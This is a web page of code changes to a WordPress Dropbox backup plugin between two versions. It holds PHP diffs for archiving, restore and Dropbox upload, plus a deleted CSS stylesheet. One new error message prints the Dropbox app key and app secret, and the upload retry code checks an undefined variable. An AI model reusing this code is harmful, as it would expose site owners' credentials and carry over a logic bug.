Backup & Restore Dropbox - Version 1.4.3

Version Description

Please, keep your Dropbox Backup and Restore plugin up-to-date.

Download this release

Release Info

Developer backup-dropbox
Plugin Icon 128x128 Backup & Restore Dropbox
Version 1.4.3
Comparing to
See all releases

Code changes from version 1.1 to 1.4.3

Files changed (63) hide show
  1. class-wpadm-method-class.php +0 -26
  2. commands/class-wpadm-command-archive.php +56 -44
  3. commands/class-wpadm-command-mysqloptimize.php +22 -22
  4. commands/class-wpadm-command-restore-backup.php +5 -6
  5. commands/class-wpadm-command-send-to-dropbox.php +46 -6
  6. css/admin-style-wpadm.css +0 -702
  7. dropbox-backup.php +14 -11
  8. functions/index.php +1 -0
  9. functions/wpadm.php +190 -0
  10. img/dropbox.png +0 -0
  11. img/stars-5.png +0 -0
  12. wpadm-logo.png → img/wpadm-logo.png +0 -0
  13. img/wpadmload.gif +0 -0
  14. languages/dropbox-backup.pot +945 -0
  15. libs/error.class.php +40 -0
  16. libs/index.php +1 -0
  17. libs/lang.class.php +106 -0
  18. libs/lang/index.php +1 -0
  19. libs/wpadm.server.main.class.php +903 -0
  20. main/index.php +1 -0
  21. main/wpadm-class-wp.php +756 -0
  22. methods/class-wpadm-method-backup-delete.php +27 -27
  23. methods/class-wpadm-method-backup-list.php +44 -44
  24. methods/class-wpadm-method-backup.php +406 -450
  25. methods/class-wpadm-method-full-backup-dropbox.php +65 -44
  26. methods/class-wpadm-method-local-backup.php +210 -141
  27. methods/class-wpadm-method-local-restore.php +43 -24
  28. methods/class-wpadm-method-queue-controller.php +5 -16
  29. methods/class-wpadm-method-send-to-dropbox.php +65 -21
  30. methods/class-wpadm-method-update.php +5 -4
  31. modules/class-wpadm-archive.php +49 -41
  32. modules/class-wpadm-command-context.php +31 -27
  33. class-wpadm-command.php → modules/class-wpadm-command.php +13 -13
  34. class-wpadm-core.php → modules/class-wpadm-core.php +89 -39
  35. modules/class-wpadm-method-class.php +38 -0
  36. modules/class-wpadm-mysqldump.php +180 -189
  37. modules/class-wpadm-queue.php +20 -4
  38. class-wpadm-result.php → modules/class-wpadm-result.php +126 -116
  39. modules/class-wpadm-running.php +240 -0
  40. modules/constant.php +58 -0
  41. modules/dropbox.class.php +1 -0
  42. errorHandler.php → modules/errorHandler.php +0 -0
  43. readme.txt +540 -15
  44. template/attention.png +0 -0
  45. template/css/admin-style-wpadm.css +999 -0
  46. template/css/folder.png +0 -0
  47. template/css/icon-folder-open.gif +0 -0
  48. template/css/index.php +2 -0
  49. template/css/tool-bar.css +4 -0
  50. template/dropbox_pro_logo_box1.png +0 -0
  51. template/expsys.php +25 -0
  52. template/index.php +1 -0
  53. template/js/admin-wpadm.js +63 -0
  54. template/js/index.php +2 -0
  55. template/js/jquery.arcticmodal-0.3.css +8 -0
  56. template/js/jquery.arcticmodal-0.3.min.js +22 -0
  57. template/not-ok.png +0 -0
  58. template/notice.php +8 -0
  59. template/notice5.php +11 -0
  60. template/ok-icon.png +0 -0
  61. template/ok.png +0 -0
  62. template/wpadm_show_backup.php +1451 -0
  63. wpadm.php +0 -249
class-wpadm-method-class.php DELETED
@@ -1,26 +0,0 @@
1
- <?php
2
-
3
-
4
- if (!class_exists('WPAdm_Method_Class')) {
5
- abstract class WPAdm_Method_Class {
6
- /**
7
- * @var mixed
8
- */
9
- protected $params;
10
-
11
- /**
12
- * @var WPAdm_result
13
- */
14
- protected $result;
15
-
16
- /**
17
- * @param mixed $params
18
- */
19
- public function __construct($params) {
20
- $this->params = $params;
21
- $this->result = new WPAdm_Result();
22
- }
23
-
24
- abstract function getResult();
25
- }
26
- }
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
commands/class-wpadm-command-archive.php CHANGED
@@ -1,45 +1,57 @@
1
- <?php
2
-
3
-
4
- class WPadm_Command_Archive extends WPAdm_Сommand{
5
- public function execute(WPAdm_Command_Context $context)
6
- {
7
- require_once WPAdm_Core::getPluginDir() . '/modules/class-wpadm-archive.php';
8
- $af = $this->getArchiveName($context->get('to_file'));
9
- $archive = new WPAdm_Archive($af, $context->get('to_file') . '.md5');
10
- $archive->setRemovePath($context->get('remove_path'));
11
- $files = $context->get('files');
12
-
13
- // если привышен максимальный размер архива, создадим новый
14
- if (file_exists($af) && filesize($af) > $context->get('max_file_size')) {
15
- //WPAdm_Core::log(filesize($af) . ', max=' . $context->get('max_file_size'));
16
- $af = $this->getNextArchiveName($context->get('to_file'));
17
- unset($archive);
18
- $archive = new WPAdm_Archive($af, $context->get('to_file') . '.md5');
19
- $archive->setRemovePath($context->get('remove_path'));
20
- }
21
- //WPAdm_Core::log('Add to archive ' . $af);
22
- $archive->add(implode(',', $files));
23
- return true;
24
- }
25
-
26
- private function getArchiveName($name)
27
- {
28
- $archives = glob("{$name}-*.zip");
29
- if (empty($archives)) {
30
- return "{$name}-1.zip";
31
- }
32
- $n = count($archives);
33
- $f = "{$name}-{$n}.zip";
34
- //$f = array_pop($archives);
35
- return $f;
36
- }
37
-
38
- private function getNextArchiveName($name)
39
- {
40
- $arhives = glob("{$name}-*.zip");
41
- $n = 1 + count($arhives);
42
- $a = "{$name}-{$n}.zip";
43
- return $a;
44
- }
 
 
 
 
 
 
 
 
 
 
 
 
45
  }
1
+ <?php
2
+
3
+
4
+ class WPadm_Command_Archive extends WPAdm_Сommand{
5
+ public function execute(WPAdm_Command_Context $context)
6
+ {
7
+ ini_set("memory_limit", "256M");
8
+ require_once WPAdm_Core::getPluginDir() . '/modules/class-wpadm-archive.php';
9
+ $af = $this->getArchiveName($context->get('to_file'));
10
+ ini_set("memory_limit", "256M");
11
+ $archive = new WPAdm_Archive($af, $context->get('to_file') . '.md5');
12
+ $archive->setRemovePath($context->get('remove_path'));
13
+ $files = $context->get('files');
14
+ if ( !file_exists( $af ) ) {
15
+ WPAdm_Core::log(__('Create part ','dropbox-backup') . basename( $af ) );
16
+ }
17
+ if (file_exists($af) && filesize($af) > $context->get('max_file_size')) {
18
+ $af = $this->getNextArchiveName($context->get('to_file'));
19
+ unset($archive);
20
+ if ( !file_exists( $af ) ) {
21
+ WPAdm_Core::log(__('Create part ','dropbox-backup') . basename( $af ) );
22
+ }
23
+ $archive = new WPAdm_Archive($af, $context->get('to_file') . '.md5');
24
+ $archive->setRemovePath($context->get('remove_path'));
25
+ }
26
+ $files_str = implode(',', $files);
27
+ $files_archive = WPAdm_Running::getCommandResultData('archive');
28
+ if (!in_array($files_str, $files_archive)) {
29
+ $archive->add($files_str);
30
+ $files_archive = WPAdm_Running::getCommandResultData('archive');
31
+ $files_archive[] = $files_str;
32
+ if (!empty($files_archive)) {
33
+ WPAdm_Running::setCommandResultData('archive', $files_archive);
34
+ }
35
+ }
36
+ return true;
37
+ }
38
+
39
+ private function getArchiveName($name)
40
+ {
41
+ $archives = glob("{$name}-*.zip");
42
+ if (empty($archives)) {
43
+ return "{$name}-1.zip";
44
+ }
45
+ $n = count($archives);
46
+ $f = "{$name}-{$n}.zip";
47
+ return $f;
48
+ }
49
+
50
+ private function getNextArchiveName($name)
51
+ {
52
+ $archives = glob("{$name}-*.zip");
53
+ $n = 1 + count($archives);
54
+ $a = "{$name}-{$n}.zip";
55
+ return $a;
56
+ }
57
  }
commands/class-wpadm-command-mysqloptimize.php CHANGED
@@ -1,22 +1,22 @@
1
- <?php
2
- if (!class_exists('WPadm_Command_Mysqloptimize')) {
3
- class WPadm_Command_Mysqloptimize extends WPAdm_Сommand{
4
- public function execute(WPAdm_Command_Context $context)
5
- {
6
- //WPAdm_Core::log(print_r($context, true));
7
- require_once WPAdm_Core::getPluginDir() . '/modules/class-wpadm-mysqldump.php';
8
- $mysqldump = new WPAdm_Mysqldump();
9
- $mysqldump->host = $context->get('host');
10
- $mysqldump->user = $context->get('user');
11
- $mysqldump->password = $context->get('password');
12
-
13
- try {
14
- $mysqldump->optimize($context->get('db'));
15
- } catch (Exception $e) {
16
- $context->setError($e->getMessage());
17
- return false;
18
- }
19
- return true;
20
- }
21
- }
22
- }
1
+ <?php
2
+ if (!class_exists('WPadm_Command_Mysqloptimize')) {
3
+ class WPadm_Command_Mysqloptimize extends WPAdm_Сommand{
4
+ public function execute(WPAdm_Command_Context $context)
5
+ {
6
+ //WPAdm_Core::log(print_r($context, true));
7
+ require_once WPAdm_Core::getPluginDir() . '/modules/class-wpadm-mysqldump.php';
8
+ $mysqldump = new WPAdm_Mysqldump();
9
+ $mysqldump->host = $context->get('host');
10
+ $mysqldump->user = $context->get('user');
11
+ $mysqldump->password = $context->get('password');
12
+
13
+ try {
14
+ $mysqldump->optimize($context->get('db'));
15
+ } catch (Exception $e) {
16
+ $context->setError($e->getMessage());
17
+ return false;
18
+ }
19
+ return true;
20
+ }
21
+ }
22
+ }
commands/class-wpadm-command-restore-backup.php CHANGED
@@ -10,7 +10,7 @@ if (!class_exists('WPadm_Command_Restore_Backup')) {
10
  $file = $context->get('file');
11
  $is_dump = $file && strpos($file, "mysqldump.sql");
12
 
13
- WPAdm_Core::log( "Decompression Archive " . basename($context->get('zip_file')) );
14
  if ($is_dump !== false) {
15
  $inzip = str_replace(ABSPATH, "", $file);
16
  $file_in_zip = $this->archive->extract(PCLZIP_OPT_BY_NAME, $inzip);
@@ -19,8 +19,8 @@ if (!class_exists('WPadm_Command_Restore_Backup')) {
19
  }
20
 
21
  if ($file_in_zip == 0) {
22
- WPAdm_Core::log( "ERROR Archived: " . $this->archive->errorInfo(true) );
23
- $context->setError( "ERROR Archived: " . $this->archive->errorInfo(true));
24
  return false;
25
  }
26
  //WPAdm_Core::log(print_r($file_in_zip, 1));
@@ -40,10 +40,9 @@ if (!class_exists('WPadm_Command_Restore_Backup')) {
40
  }
41
  }
42
  }
43
-
44
  } else {
45
- $context->setError("File Archive Not Exist " . $context->get('zip_file'));
46
- WPAdm_Core::log( "File Archive Not Exist " . $context->get('zip_file') );
47
  return false;
48
  }
49
  return true;
10
  $file = $context->get('file');
11
  $is_dump = $file && strpos($file, "mysqldump.sql");
12
 
13
+ WPAdm_Core::log( "Data decompression " . basename($context->get('zip_file')) );
14
  if ($is_dump !== false) {
15
  $inzip = str_replace(ABSPATH, "", $file);
16
  $file_in_zip = $this->archive->extract(PCLZIP_OPT_BY_NAME, $inzip);
19
  }
20
 
21
  if ($file_in_zip == 0) {
22
+ WPAdm_Core::log( str_replace("%d", SITE_HOME,__("Website \"%d\" returned an error during archive extracting: ",'dropbox-backup') ) . $this->archive->errorInfo(true) );
23
+ $context->setError( str_replace("%d", SITE_HOME,__("Website \"%d\" returned an error during archive extracting: ",'dropbox-backup')) . $this->archive->errorInfo(true) );
24
  return false;
25
  }
26
  //WPAdm_Core::log(print_r($file_in_zip, 1));
40
  }
41
  }
42
  }
 
43
  } else {
44
+ $context->setError( str_replace(array('%d', '%f'), array(SITE_HOME, $context->get('zip_file') ), __("Website \"%d\" returned an error: The necessary file of archive \"%f\" wasn't found ",'dropbox-backup') ) );
45
+ WPAdm_Core::log( str_replace(array('%d', '%f'), array(SITE_HOME, $context->get('zip_file') ), __("Website \"%d\" returned an error: The necessary file of archive \"%f\" wasn't found ",'dropbox-backup') ) );
46
  return false;
47
  }
48
  return true;
commands/class-wpadm-command-send-to-dropbox.php CHANGED
@@ -8,15 +8,15 @@ if (!class_exists('WPadm_Command_Send_To_Dropbox')) {
8
  @session_start();
9
  require_once WPAdm_Core::getPluginDir() . '/modules/dropbox.class.php';
10
 
11
- WPAdm_Core::log('Send Files to Dropbox');
12
  $dropbox = new dropbox($context->get('key'), $context->get('secret'), $context->get('token'));
13
 
14
  if (!$dropbox->isAuth()) {
15
- $context->setError("Error auth in Dropbox");
 
16
  return false;
17
  }
18
  $files = $context->get('files');
19
-
20
  $file = explode("/", $files);
21
  $file_name = array_pop($file);
22
  $folder_project_temp = $context->get('folder_project');
@@ -31,15 +31,55 @@ if (!class_exists('WPadm_Command_Send_To_Dropbox')) {
31
 
32
  $fromFile = str_replace('//', '/', $files);
33
  $toFile = str_replace('//', '/', $folder_project . $context->get('folder') . '/' . $file_name);
34
- $res = $dropbox->uploadFile($fromFile, $toFile);
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
35
  if (isset($res['error']) && isset($res['text']) && $res['error'] == 1) {
36
- $context->setError("Dropbox error: " . $res['text']);
37
  return false;
38
  }
39
  if (isset($res['size']) && isset($res['client_mtime'])) {
40
- WPAdm_Core::log("file upload: " . $files . " size: " . $res['size']);
 
41
  }
42
  return true;
43
  }
 
 
 
 
 
 
44
  }
45
  }
8
  @session_start();
9
  require_once WPAdm_Core::getPluginDir() . '/modules/dropbox.class.php';
10
 
11
+ WPAdm_Core::log(__('Send to dropbox files' ,'dropbox-backup') );
12
  $dropbox = new dropbox($context->get('key'), $context->get('secret'), $context->get('token'));
13
 
14
  if (!$dropbox->isAuth()) {
15
+ $context->setError( str_replace(array('%d', '%k', '%s'),
16
+ array( SITE_HOME, $context->get('key'), $context->get('secret') ),__('Website "%d" can\'t authorize on Dropbox with using of "app key: %k" and "app secret: %s"' ,'dropbox-backup') ) );
17
  return false;
18
  }
19
  $files = $context->get('files');
 
20
  $file = explode("/", $files);
21
  $file_name = array_pop($file);
22
  $folder_project_temp = $context->get('folder_project');
31
 
32
  $fromFile = str_replace('//', '/', $files);
33
  $toFile = str_replace('//', '/', $folder_project . $context->get('folder') . '/' . $file_name);
34
+ $local = $context->get('local');
35
+ $file_dropbox = $dropbox->listing($folder_project . $context->get('folder') . '/' . $file_name);
36
+ $send = true;
37
+ if ( !isset($file_dropbox['error']) ) {
38
+ if ($file_dropbox['bytes'] != filesize($fromFile)) {
39
+ $delete_file = $dropbox->deleteFile($folder_project . $context->get('folder') . '/' . $file_name);
40
+ if (isset($delete_file['error'])) {
41
+ $context->setError( __('Dropbox returned an error during file sending: ' ,'dropbox-backup') . '"' . $delete_file['text'] . '"');
42
+ return false;
43
+ }
44
+ $data_error_command = WPAdm_Running::getCommandResultData('errors_sending');
45
+ if (isset($data_command[$fromFile])) {
46
+ $data_error_command[$fromFile]['count'] += 1;
47
+ } else {
48
+ $data_error_command[$fromFile] = array();
49
+ $data_error_command[$fromFile]['count'] = 1;
50
+ }
51
+ WPAdm_Running::setCommandResultData('errors_sending', $data_error_command);
52
+ } else {
53
+ $send = false;
54
+ }
55
+ }
56
+ if ( $local ) {
57
+ $data_command = WPAdm_Running::getCommandResultData('command_dropbox');
58
+ if (empty($data_command) || !in_array($fromFile ,$data_command) ) {
59
+ if ($send) {
60
+ $res = $dropbox->uploadFile($fromFile, $toFile, true);
61
+ } else {
62
+ $this->saveDataCommand($fromFile);
63
+ }
64
+ }
65
+ } else {
66
+ $res = $dropbox->uploadFile($fromFile, $toFile, true);
67
+ }
68
  if (isset($res['error']) && isset($res['text']) && $res['error'] == 1) {
69
+ $context->setError( __('Dropbox returned an error during file sending: ' ,'dropbox-backup') . '"' . $res['text'] . '"');
70
  return false;
71
  }
72
  if (isset($res['size']) && isset($res['client_mtime'])) {
73
+ WPAdm_Core::log( __('File upload: ' ,'dropbox-backup') . basename( $files ) . __(' size: ' ,'dropbox-backup') . $res['size']);
74
+ $this->saveDataCommand($fromFile);
75
  }
76
  return true;
77
  }
78
+ private function saveDataCommand($file)
79
+ {
80
+ $data_command = WPAdm_Running::getCommandResultData('command_dropbox');
81
+ $data_command[] = $file;
82
+ WPAdm_Running::setCommandResultData('command_dropbox', $data_command);
83
+ }
84
  }
85
  }
css/admin-style-wpadm.css DELETED
@@ -1,702 +0,0 @@
1
-
2
- .wpadm-notice {
3
- background: #fff;
4
- border-left: 4px solid #dd3d36;
5
- box-shadow: 0 1px 1px 0 rgba(0, 0, 0, 0.1);
6
- font-size: 16px;
7
- overflow: hidden;
8
- position: relative;
9
- text-align: left;
10
- clear: both;
11
- height: 60px;
12
- margin-top: 15px;
13
- width: 95%;
14
- }
15
- .button-link {
16
- background:none!important;
17
- border:none;
18
- padding:0!important;
19
- font: inherit;
20
- color:#0074a2;
21
- border-bottom:1px solid #0074a2;
22
- padding-bottom: 1px;
23
- cursor: pointer;
24
- line-height: 15px;
25
- }
26
- .button-link:hover {
27
- color:#2ea2cc;
28
- border-bottom:1px solid #2ea2cc;
29
- }
30
- .wpadm-notice div.registr {
31
- margin-top : 20px;
32
- font-size: 16px;
33
- margin-left: 15px;
34
- }
35
-
36
- .form-counter {
37
- background: #0096d6;
38
- border: 1px solid #fff;
39
- width: 95%;
40
- margin-bottom: 20px;
41
- margin-top: 20px;
42
- color:#fff;
43
- }
44
-
45
- .form-counter table tr td{
46
- padding: 10px;
47
- }
48
- .color-picker {
49
- margin:10px;
50
- }
51
- .stat_title {
52
- text-align: center;
53
- font-size: 24px;
54
- margin-top: 20px;
55
- }
56
- .cfTabsContainer {
57
- background-color: #0096d6;
58
- overflow: hidden;
59
- width:95%;
60
- padding: 15px;
61
- margin-bottom: 40px;
62
- margin-top: 30px;
63
- -webkit-font-smoothing: antialiased;
64
- }
65
-
66
-
67
- .button-wpadm {
68
- background: none repeat scroll 0 0 #00d2b8;
69
- border-color: #cdcdcd;
70
- box-shadow: 0 1px 0 #00d2b8 inset, 0 1px 0 rgba(0, 0, 0, 0.08);
71
- color: #fff;
72
- vertical-align: top;
73
- border-radius: 3px;
74
- border-style: solid;
75
- border-width: 1px;
76
- box-sizing: border-box;
77
- cursor: pointer;
78
- display: inline-block;
79
- font-size: 13px;
80
- height: 28px;
81
- line-height: 26px;
82
- margin: 0;
83
- padding: 0 10px 1px;
84
- text-decoration: none;
85
- white-space: nowrap;
86
- }
87
- .wpadm-info {
88
- font-size: 15px;
89
- width: 30%;
90
- margin-top:10px;
91
- margin-left: 20px;
92
- margin-bottom: 20px;
93
- border-left: 1px solid #fff;
94
- padding-left:20px;
95
- padding-top: 20px;
96
- height:200px;
97
- }
98
- .wpadm-info-title {
99
- text-align:center;
100
- padding:5px;
101
- color:#fff;
102
- font-size:20px;
103
- }
104
- .wpadm-registr-info {
105
- width: 65%;
106
- }
107
- .wpadm-registr-info label {
108
- color:#fff;
109
- }
110
- .wpadm-plugins-info {
111
- width: 95%;
112
- }
113
- .services-info {
114
- background: #fff; width: 95%; margin-top: 20px;
115
- }
116
- .title-services {
117
- text-align: center; font-size: 20px; font-weight: 800; padding-bottom: 30px; padding-top: 20px;
118
- }
119
-
120
- .tmpl_line_body {
121
- float: left;
122
- margin: 0;
123
- padding: 0;
124
- position: relative;
125
- width: 100%;
126
- }
127
- .wpadm-info-auth {
128
- font-size: 11px;
129
- padding-left:20px;
130
- height:30px;
131
- color:#fff;
132
- margin-top: -5px;
133
- }
134
- #header_navigation_line {
135
- background-color: #21759b;
136
- background-image: linear-gradient(to bottom, #2a95c5, #21759b);
137
- box-shadow: 0 2px 7px 2px rgba(50, 50, 50, 0.5);
138
- height: 68px;
139
- left: 0;
140
- top: 0;
141
- z-index: 1000;
142
- }
143
- #header_navigation_line #main_menu ul li {
144
- display: inline-block;
145
- float: none;
146
- font-size: 14px;
147
- font-weight: bold;
148
- list-style: outside none none;
149
- margin: 0;
150
- padding: 0;
151
- text-shadow: 0 1px 0 rgba(0, 0, 0, 0.1);
152
- }
153
- .inline {
154
- float:left;
155
- margin-top:10px;
156
- margin-left:10px;
157
- }
158
- #header_navigation_line #main_menu ul li a {
159
- background: -moz-linear-gradient(center top , #2e9ed2 5%, #21749b 100%) repeat scroll 0 0 #2e9ed2;
160
- border: 1px solid #1b5f7f;
161
- border-radius: 3px;
162
- box-shadow: 1px 1px 0 0 #78c9e6 inset;
163
- color: #dddddd;
164
- display: inline-block;
165
- float: left;
166
- height: 43px;
167
- line-height: 16px;
168
- margin: 0 2px 0 0;
169
- overflow: hidden;
170
- padding: 5px 0;
171
- text-decoration: none;
172
- width: 90px;
173
- }
174
- #header_navigation_line #main_menu ul li:hover a {
175
- background-image: linear-gradient(to bottom, #2fb1e5, #22759c);
176
- color: #fff;
177
- }
178
- #header_navigation_line #main_menu {
179
- float: left;
180
- margin: 6px 0 0;
181
- width: 100%;
182
- }
183
- #header_navigation_line #logo {
184
- float: left;
185
- left: 0;
186
- position: absolute;
187
- top: 9px;
188
- width: auto;
189
- }
190
- #header_navigation_line #main_menu ul {
191
- float: left;
192
- list-style: outside none none;
193
- margin: 0 0 0 20px;
194
- padding: 0;
195
- text-align: center;
196
- width: 100%;
197
- }
198
- #header_navigation_line #main_menu ul li .nav_icon {
199
- float: left;
200
- height: 24px;
201
- margin: 0;
202
- padding: 0 0 3px;
203
- width: 100%;
204
- }
205
- #header_navigation_line #main_menu ul li.active a, #header_navigation_line #main_menu ul li a:active {
206
- background-image: linear-gradient(to bottom, #2cc4f5, #228bb4);
207
- border: 1px solid #fff;
208
- box-shadow: 0 1px 0 rgba(95, 157, 186, 0.6);
209
- color: #fff;
210
- }
211
- .clear {
212
- clear:both;
213
- }
214
- .plugins-info {
215
- width:320px;
216
- }
217
- .plugin-box {
218
- background: #0096d6;
219
- border: 1px solid #e5e5e5;
220
- box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04);
221
- min-width: 255px;
222
- position: relative;
223
- line-height: 1;
224
- margin-bottom: 20px;
225
- padding: 0;
226
- }
227
-
228
- .plugins-info-content {
229
- display:none;
230
- border-top: 1px solid #fff;
231
- margin-top:8px;
232
- padding-top: 7px;
233
- }
234
- h3.plugins-title {
235
- font-size: 14px;
236
- line-height: 1.4;
237
- margin: 0;
238
- }
239
- .plugins-title a {
240
- color:#fff;
241
- text-decoration: none;
242
-
243
- }
244
- .wpadm-registr-info, .wpadm-info, .wpadm-info-auth {
245
- float:left;
246
- color:#fff;
247
- }
248
- .button-wpadm:hover {
249
- border-color:#cdcdcd;
250
- background-color: #009583;
251
- }
252
- .wpadm-red:hover {
253
- border-color:#737373 ;
254
- background-color: #ff706c;
255
- }
256
- .wpadm-red {
257
- background: none repeat scroll 0 0 #f21111;
258
- border-color: #c7c6ce;
259
- box-shadow: 0 1px 0 #ff2c26 inset, 0 1px 0 rgba(0, 0, 0, 0.08);
260
- }
261
- .info-detail {
262
- background:#bee7e7;
263
- }
264
- .table {
265
- margin:0px;padding:0px;
266
- width:100%;
267
- border:0px;
268
- border-collapse: collapse;
269
- border-spacing: 0;
270
- width:100%;
271
- height:100%;
272
- border: 1px solid #b7c6ff;
273
- border-radius: 3px;
274
- margin-top: 60px;
275
-
276
- }
277
- .table th {
278
- padding: 7px;
279
- background-color:#dde4ff;
280
- font-size:16px;
281
-
282
- }
283
- .table td {
284
- background: #fff;
285
- font-size: 14px;
286
- padding: 5px 0;
287
- border-bottom:1px solid #b7c6ff;
288
- text-align: center;
289
- }
290
- .info-path td {
291
- font-size: 11px;
292
- padding:0px;
293
- }
294
- .table tr:last td {
295
-
296
- border-bottom: 0px;
297
- }
298
- .header-table {
299
- font-size:20px;
300
- }
301
-
302
- .stat {
303
- width: 200px;
304
- }
305
-
306
- .w1{
307
- width:5%;
308
- }
309
- .w2{
310
- width:13%;
311
- }
312
- .w3{
313
- width:7%;
314
- }
315
- .table-stat-moovdiv {
316
- background: none repeat scroll 0 0 #FFFFFF;
317
- border-spacing: 0;
318
- box-shadow: 0 4px 4px rgba(0, 0, 0, 0.3);
319
- left: 0px;
320
- margin-top: 0;
321
- padding: 10px 15px;
322
- top: 0px;
323
- width: 400px;
324
- }
325
-
326
- .table-stat-moovdiv tr td{
327
- border-right: 0px;
328
- margin-bottom: 1px;
329
- margin-top: 1px;
330
- padding-bottom: 1px;
331
- padding-top: 1px;
332
- border-bottom:1px solid #D6D6D6;
333
- padding: 5px;
334
- }
335
-
336
- #page_item {
337
- margin-bottom:3px;
338
- float:left;
339
- }
340
- .block-export {
341
- float: right;
342
- margin-right: 20px;
343
- }
344
- .info {
345
- width: 70%;
346
- border: 0;
347
- }
348
- .info tr {
349
- border-style: hidden;
350
- }
351
- .info tr td{
352
- border-style: hidden;
353
- padding: 5px;
354
- text-align:left;
355
- }
356
- .chart-box {
357
- background: #fff;
358
- border:1px solid #cccccc;
359
- border-radius:3px;
360
- margin-top:25px;
361
- }
362
- .chart-box-title {
363
- color:#575757;
364
- border-bottom: 1px solid #cccccc;
365
- font-size: 18px;
366
- padding:10px;
367
- }
368
- .charts {
369
- padding:5px;
370
- padding-top: 15px;
371
- }
372
- .form-account {
373
- margin-top: 30px;
374
- margin-bottom : 40px;
375
- border:5px solid #fff;
376
- background: #ffffa5;
377
- padding: 10px;
378
- height: auto;
379
- overflow:hidden;
380
- }
381
- .form-account-title {
382
- margin-bottom: 20px;
383
- font-size: 22px;
384
- }
385
- .form-account-block {
386
- margin-left: 20px;
387
- float:left;
388
- width: 40%;
389
- }
390
- .form-account-login {
391
- margin-top: 10px;
392
- margin-bottom : 40px;
393
- border:5px solid #fff;
394
- background: #ffffa5;
395
- padding: 3px;
396
- height: auto;
397
- overflow:hidden;
398
- }
399
-
400
- .form-account-block-login {
401
- margin-left: 10px;
402
- width: 90%;
403
-
404
- }
405
- .form-account-info {
406
- float:left;
407
- width: 50%;
408
- margin-left: 20px;
409
- }
410
- .b_2 {
411
- background: url("button_ok.png") no-repeat scroll 0 0 rgba(0, 0, 0, 0);
412
- color: #464646;
413
- font-family: Arial,Helvetica,sans-serif;
414
- font-size: 18px;
415
- left: 12px;
416
- padding-left: 30px;
417
- top: 60px;
418
- padding-top: 4px;
419
- padding-bottom : 5px;
420
- }
421
- .b-3 {
422
- font-size: 22px;
423
- }
424
- .form-account-button {
425
- margin-top: 21px;
426
- }
427
- .label-form {
428
- margin-left: 6px;
429
- font-size: 16px;
430
- }
431
- .last {
432
- line-height: 18px;
433
- margin-top: 9px;
434
- }
435
- .progress {
436
- height: 20px;
437
- background: #ebebeb;
438
- border-left: 1px solid transparent;
439
- border-right: 1px solid transparent;
440
- border-radius: 10px;
441
- }
442
- .progress > span {
443
- position: relative;
444
- float: left;
445
- margin: 0 -1px;
446
- min-width: 30px;
447
- height: 18px;
448
- line-height: 16px;
449
- text-align: right;
450
- background: #cccccc;
451
- border: 1px solid;
452
- border-color: #bfbfbf #b3b3b3 #9e9e9e;
453
- border-radius: 10px;
454
- background-image: -webkit-linear-gradient(top, #f0f0f0, #dbdbdb 70%, #cccccc);
455
- background-image: -moz-linear-gradient(top, #f0f0f0, #dbdbdb 70%, #cccccc);
456
- background-image: -o-linear-gradient(top, #f0f0f0, #dbdbdb 70%, #cccccc);
457
- background-image: linear-gradient(to bottom, #f0f0f0, #dbdbdb 70%, #cccccc);
458
- -webkit-box-shadow: inset 0 1px rgba(255, 255, 255, 0.3), 0 1px 2px rgba(0, 0, 0, 0.2);
459
- box-shadow: inset 0 1px rgba(255, 255, 255, 0.3), 0 1px 2px rgba(0, 0, 0, 0.2);
460
- }
461
- .progress > span > span {
462
- padding: 0 8px;
463
- font-size: 11px;
464
- font-weight: bold;
465
- color: #404040;
466
- color: rgba(0, 0, 0, 0.7);
467
- text-shadow: 0 1px rgba(255, 255, 255, 0.4);
468
- }
469
- .progress > span:before {
470
- content: '';
471
- position: absolute;
472
- top: 0;
473
- bottom: 0;
474
- left: 0;
475
- right: 0;
476
- z-index: 1;
477
- height: 18px;
478
- border-radius: 10px;
479
- }
480
-
481
-
482
-
483
- .stat-form-counter {
484
- background: none repeat scroll 0 0 #0096d6;
485
- color: #fff;
486
- margin-bottom: 20px;
487
- width: 46%;
488
- margin-right: 0;
489
- border: 0;
490
- padding: 3px;
491
- }
492
- .stat-wpadm-registr-info {
493
- color: #fff;
494
- float: left;
495
- width: 57%;
496
- }
497
- .stat-wpadm-registr-info label {
498
- color:#fff;
499
- }
500
- .stat-wpadm-info-title {
501
- color: #fff;
502
- font-size: 20px;
503
- padding :20px 0px;
504
- margin-top:10px;
505
- text-align: center;
506
- }
507
- .stat-table-registr {
508
- margin-top: 20px;
509
- }
510
- .stat-table-registr th, .stat-table-registr td {
511
- padding:5px;
512
- }
513
- .stat-wpadm-info {
514
- width: 37%; margin-left: 9px; height:100%; padding-top: 0px; margin-top:20px;
515
- color: #fff;
516
- float: left;
517
- border-left: 1px solid #fff;
518
- font-size: 12px;
519
- margin-bottom: 20px;
520
- padding-left: 20px;
521
- }
522
- .block-button-show {
523
- padding:11px 18px; cursor: pointer; text-align: center;
524
- }
525
- .block-button-show .block-click {
526
- padding-top: 10px;
527
- font-size: 16px;
528
- border-top:1px solid #fff;
529
- }
530
- .stat-setting {
531
- border-left:1px solid #fff;
532
- margin-right: 0px;
533
- }
534
- #stat-title-setting{
535
- font-size: 20px;
536
- margin-top: 10px;
537
- padding: 20px 0;
538
- text-align: center;
539
- }
540
- #preview-image {
541
- height: 105px; float: left; margin-right: 10px; margin-top:45px;
542
- }
543
- #preview-image .block-preview-image {
544
- padding: 10px; border: 1px solid #fff; margin-left: 10px; margin-top:20px; width: 90px; text-align: center;
545
- }
546
- #preview-image .title-preveiw-image {
547
- font-size: 16px; position: absolute;margin-top: -28px; margin-left: 7px;background: #0096d6; padding: 3px;
548
- }
549
- #preview-image .image-block {
550
- display: table;
551
- }
552
- .image-block .image-block-in {
553
- display: table-cell; vertical-align: middle;
554
- }
555
- .image-block-in img {
556
- float: left;margin-top:7px;
557
- margin-left: 2px;
558
- }
559
- .image-block-in .text-image-counter {
560
- float: left;
561
- padding-left:3px;
562
- font-size: 8px;
563
- font-weight: 600;
564
- }
565
- #setting-form .info-block {
566
- float: left; margin: 5px 0px 0px; width:74%;
567
- }
568
- #setting-form .first-info-block {
569
- margin: 20px 0px 0px;
570
- }
571
- .info-block-detail {
572
- float:left;
573
- }
574
- .detail-title {
575
- margin: 0 5px; width: 30%;
576
- }
577
- #setting-form .info-block .details-info {
578
- width: auto;
579
- font-size: 10px;
580
- margin:0px;
581
- }
582
